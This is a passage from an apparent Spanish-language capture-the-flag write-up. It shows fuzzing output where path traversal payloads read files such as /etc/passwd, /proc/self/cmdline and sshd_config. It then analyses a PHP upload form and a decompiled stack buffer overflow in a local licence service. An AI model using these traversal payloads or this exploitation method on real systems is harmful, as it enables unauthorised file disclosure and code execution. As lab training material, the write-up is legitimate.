&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 44ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 45ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 49ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 46ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 46ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 48ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../etc/passwd&amp;amp;=&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;3C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;3C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;3C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;3C [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 27ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/rpc [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1184&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/resolv.conf [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;52&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/ssh/sshd_config [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4452&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/net/dev [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;600&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 32ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/net/arp [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;208&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 37ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/cpuinfo [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3040&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 41ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/mounts [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1956&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 41ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/interrupts [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5576&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 41ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/loadavg [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 41ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/meminfo [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1892&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 41ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/net/route [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;512&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/net/tcp [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8800&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/self/cmdline [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 39ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/partitions [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;156&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 42ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/self/status [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1780&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 39ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/version [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;248&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 39ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/var/log/lastlog [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;390112&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 29ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/var/log/wtmp [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15360&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 25ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/var/run/utmp [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1536&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;///////../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 25ms]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="activación-de-licencia-y-servicio-interno"&gt;Activación de licencia y servicio interno&lt;/h3&gt;
&lt;p&gt;Conseguimos el código de &lt;code&gt;beta.html&lt;/code&gt; y vemos un formulario que “activa la licencia”.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80bc-8ace-d7531d7bbc47.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El formulario envía información a un puerto local. Esto apunta a un binario/servicio que recibe y procesa ese “licensefile”.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat activate_liscence.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(isset($_FILES[&lt;span style="color:#e6db74"&gt;&amp;#39;licensefile&amp;#39;&lt;/span&gt;])) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $license = file_get_contents($_FILES[&lt;span style="color:#e6db74"&gt;&amp;#39;licensefile&amp;#39;&lt;/span&gt;][&lt;span style="color:#e6db74"&gt;&amp;#39;tmp_name&amp;#39;&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $license_size = $_FILES[&lt;span style="color:#e6db74"&gt;&amp;#39;licensefile&amp;#39;&lt;/span&gt;][&lt;span style="color:#e6db74"&gt;&amp;#39;size&amp;#39;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (!$socket) { echo &lt;span style="color:#e6db74"&gt;&amp;#34;error socket_create()\n&amp;#34;&lt;/span&gt;; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (!socket_connect($socket, &lt;span style="color:#e6db74"&gt;&amp;#39;127.0.0.1&amp;#39;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1337&lt;/span&gt;)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;error socket_connect()&amp;#34;&lt;/span&gt; . socket_strerror(socket_last_error()) . &lt;span style="color:#e6db74"&gt;&amp;#34;\n&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; socket_write($socket, pack(&lt;span style="color:#e6db74"&gt;&amp;#34;N&amp;#34;&lt;/span&gt;, $license_size));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; socket_write($socket, $license);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; socket_shutdown($socket);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; socket_close($socket);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8035-b122-f028bb0d5115.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Efectivamente, el puerto está escuchando.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80f0-9b4c-c27bf883a742.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Hacemos &lt;code&gt;strings&lt;/code&gt; buscando credenciales, pero lo más relevante son referencias a sqlite3, y pinta a que aquí viene lo divertido: &lt;strong&gt;Buffer Overflow&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="protecciones-del-binario"&gt;Protecciones del binario&lt;/h3&gt;
&lt;p&gt;Revisamos controles de seguridad.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8033-8c34-c35e12c2bf62.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Esto indica que no podemos ejecutar código desde el stack (NX). También vemos que los canaries no están activados, así que es viable un &lt;em&gt;stack-based buffer overflow&lt;/em&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="análisis-en-ghidra-el-bug"&gt;Análisis en Ghidra: el bug&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uint32_t msglen;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;char buffer [&lt;span style="color:#ae81ff"&gt;512&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sVar2 = read(sockfd,&amp;amp;msglen,&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (sVar2 == &lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;piVar3 = __errno_location();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pcVar4 = strerror(*piVar3);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;error(pcVar4);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;msglen = ntohl(msglen);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;printf(&lt;span style="color:#e6db74"&gt;&amp;#34;[+] reading %d bytes\n&amp;#34;&lt;/span&gt;,msglen);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sVar2 = read(sockfd,buffer,(ulong)msglen);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este código es vulnerable porque &lt;code&gt;msglen&lt;/code&gt; está controlado por el usuario. Si enviamos un tamaño mayor que 512, &lt;code&gt;read()&lt;/code&gt; desbordará el &lt;code&gt;buffer&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Para continuar, tenemos que identificar el offset hasta el &lt;strong&gt;Saved RIP&lt;/strong&gt; (dirección de retorno). En x64, la dirección de retorno queda en la pila justo después de las variables locales, pero puede haber alineación, así que no asumimos que es exactamente 512.&lt;/p&gt;
&lt;h3 id="encontrar-el-offset-con-patrón"&gt;Encontrar el offset con patrón&lt;/h3&gt;
&lt;p&gt;Usamos &lt;code&gt;gdb&lt;/code&gt; y un patrón.&lt;/p&gt;
